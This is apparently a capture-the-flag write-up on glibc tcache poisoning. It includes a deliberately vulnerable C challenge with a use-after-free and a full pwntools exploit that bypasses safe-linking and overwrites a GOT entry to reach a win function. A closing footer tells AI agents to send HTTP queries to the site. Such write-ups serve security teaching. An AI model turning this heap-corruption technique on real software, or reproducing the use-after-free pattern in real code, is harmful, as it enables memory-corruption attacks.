# Tcache poisoning

### What is tcache

stands for **thread local cache**, supposed to replace what **fastbins** and **smallbins** are.

every chunk size (up to 0x410) has its own tcache bin which can store up to 7 chunks.

some structs for [reference](https://hackmd.io/@5Mo2wp7RQdCOYcqKeHl2mw/ByTHN47jf)

```c
/* We overlay this structure on the user-data portion of a chunk when
    the chunk is stored in the per-thread cache.  */
 typedef struct tcache_entry
 {
   struct tcache_entry *next;
 } tcache_entry;
 
 /* There is one of these for each thread, which contains the
    per-thread cache (hence "tcache_perthread_struct").  Keeping
    overall size low is mildly important.  Note that COUNTS and ENTRIES
    are redundant (we could have just counted the linked list each
    time), this is for performance reasons.  */
 typedef struct tcache_perthread_struct
 {
   char counts[TCACHE_MAX_BINS];
   tcache_entry *entries[TCACHE_MAX_BINS];
 } tcache_perthread_struct;
 static __thread char tcache_shutting_down = 0;
 static __thread tcache_perthread_struct *tcache = NULL;

```

### Exploitation

If you get control of the **next** pointer of a freed chunk, we can allocate to an arbitrary address giving us a  **write** primitive.

This challenge is an example of that.

```c
// gcc chal.c -no-pie -o chal
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#define MAX_DANCES 16
#define DANCE_SIZE 256

char *dances[MAX_DANCES];

void win() {
    printf("PEARTO IS PLEASED\n");
    system("cat flag.txt");
    exit(0);
}

void create_dance() {
    int index;
    printf("WHERE IS TETO DANCING? (0 to %d) > ", MAX_DANCES - 1);
    scanf("%d", &index);
    getchar(); // Consume the newline character

    if (index < 0 || index >= MAX_DANCES) {
        printf("WE CAN'T DANCE HERE.\n");
        return;
    }

    dances[index] = (char *)malloc(DANCE_SIZE * sizeof(char));

    printf("DESCRIBE TETO'S DANCE (max %d characters) > ", DANCE_SIZE - 1);
    fgets(dances[index], DANCE_SIZE, stdin);
    dances[index][strcspn(dances[index], "\n")] = 0;

    printf("TETO IS NOW DANCING AT POSITION %d AT %p.\n", index, dances[index]);
}

void delete_dance() {
    int index;
    printf("WHICH DANCE MUST GO? (0 to %d) > ", MAX_DANCES - 1);
    scanf("%d", &index);

    if (index < 0 || index >= MAX_DANCES || dances[index] == NULL) {
        printf("THERE IS NO DANCE HERE.\n");
        return;
    }

    free(dances[index]);
    printf("NOW THE DANCE AT %d IS GONE.\n", index);
}

void edit_dance() {
    int index;
    printf("ENTER THE DANCE YOU WOULD LIKE MODIFIED > ", MAX_DANCES - 1);
    scanf("%d", &index);
    getchar(); // Consume the newline character

    if (index < 0 || index >= MAX_DANCES || dances[index] == NULL) {
        printf("THERE IS NO DANCE HERE.\n");
        return;
    }

    printf("DESCRIBE YOUR NEW DANCE. (max %d characters) > ", DANCE_SIZE - 1);
    fgets(dances[index], DANCE_SIZE, stdin);
    dances[index][strcspn(dances[index], "\n")] = 0; // Remove newline character

    printf("TETO IS NOW DANCING A NEW DANCE AT %d.\n", index);
}

int main() {
    int choice;
    setvbuf(stdout, NULL, _IONBF, 0);
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stderr, NULL, _IONBF, 0);
    while (1) {
        printf("-------\nLIAR DANCER\n-------\n");
        printf("1. CREATE DANCE\n");
        printf("2. DELETE DANCE\n");
        printf("3. EDIT DANCE\n");
        printf("4. QUIT\n\n");
        printf("TETOTETOTETO > ");
        scanf("%d", &choice);

        switch (choice) {
            case 1:
                create_dance();
                break;
            case 2:
                delete_dance();
                break;
            case 3:
                edit_dance();
                break;
            case 4:
                return 0;
            default:
                printf("LIAR!!!\n");
                exit(0);
        }
    }

    return 0;
}

```

We have the ability to create 16 allocations and there is no **NULL** of pointers after freeing, giving us **UAF** with the **edit\_dance** function.

We can overwrite one of the GOT functions with **win** such as **exit** as there is no **FULL RELRO**.

We also need to bypass safe-linking which requires a heap leak.&#x20;

```python
from pwn import *

elf = context.binary = ELF("./chal_patched")
context.binary = elf
context.log_level = 'debug'

if args.REMOTE:
    p = remote("chall.nypinfosec.net", 8004)
else:
    p = elf.process()
    gdb.attach(p, gdbscript='''break *main''')

sla = lambda a, b: p.sendlineafter(a, b)

def create_dance(index, data):
    sla(b"TETOTETOTETO > ", b"1")
    sla(b"> ", str(index).encode())
    sla(b"> ", data)
    resp = p.recvuntil(b".\n").decode()
    parts = resp.split(" AT ")
    addr_str = parts[2].split(".")[0]
    return int(addr_str, 16)

def delete_dance(index):
    sla(b"TETOTETOTETO > ", b"2")
    sla(b"> ", str(index).encode())

def edit_dance(index, data):
    sla(b"TETOTETOTETO > ", b"3")
    sla(b"> ", str(index).encode())
    sla(b"> ", data)

# Target addresses
win_addr = elf.symbols['win']
exit_got = 0x404058

log.info(f"win() address: {hex(win_addr)}")
log.info(f"exit GOT address: {hex(exit_got)}")

# Check alignment
log.info(f"exit_got alignment check: {hex(exit_got)} % 16 = {exit_got % 16}")

# The issue might be that we need to target a properly aligned address
# Let's try targeting the exit GOT minus 8 bytes to ensure alignment
target = exit_got - 8  # 0x404050 should be aligned
log.info(f"Adjusted target: {hex(target)}")

# Step 1: Create two chunks
victim_addr = create_dance(0, b"A" * 100)
log.info(f"Victim chunk: {hex(victim_addr)}")

guard_addr = create_dance(1, b"B" * 100) 
log.info(f"Guard chunk: {hex(guard_addr)}")

# Step 2: Free both chunks (order matters!)
delete_dance(0)  # victim first
delete_dance(1)  # guard second (becomes head)

# Step 3: Calculate proper mangled address
chunk_key = guard_addr >> 12
mangled_target = target ^ chunk_key
log.info(f"Chunk key: {hex(chunk_key)}")
log.info(f"Mangled target: {hex(mangled_target)}")
log.info(f"Target alignment check: {hex(target)} % 16 = {target % 16}")

# Step 4: Poison the head chunk's fd pointer
edit_dance(1, p64(mangled_target))

# Step 5: Allocate twice
create_dance(2, b"dummy")           # Gets guard chunk

# Step 6: Now we have a chunk at (exit_got - 8)
# Write our payload with 8 bytes padding + win_addr
payload = b"A" * 8 + p64(win_addr)
create_dance(3, payload)            # Writes win_addr to exit GOT

# Step 7: Trigger exit
log.info("Triggering exit...")
sla(b"TETOTETOTETO > ", b"999")

p.interactive()
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://xenon-2.gitbook.io/writeups/binary-exploitation/heap/tcache-poisoning.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
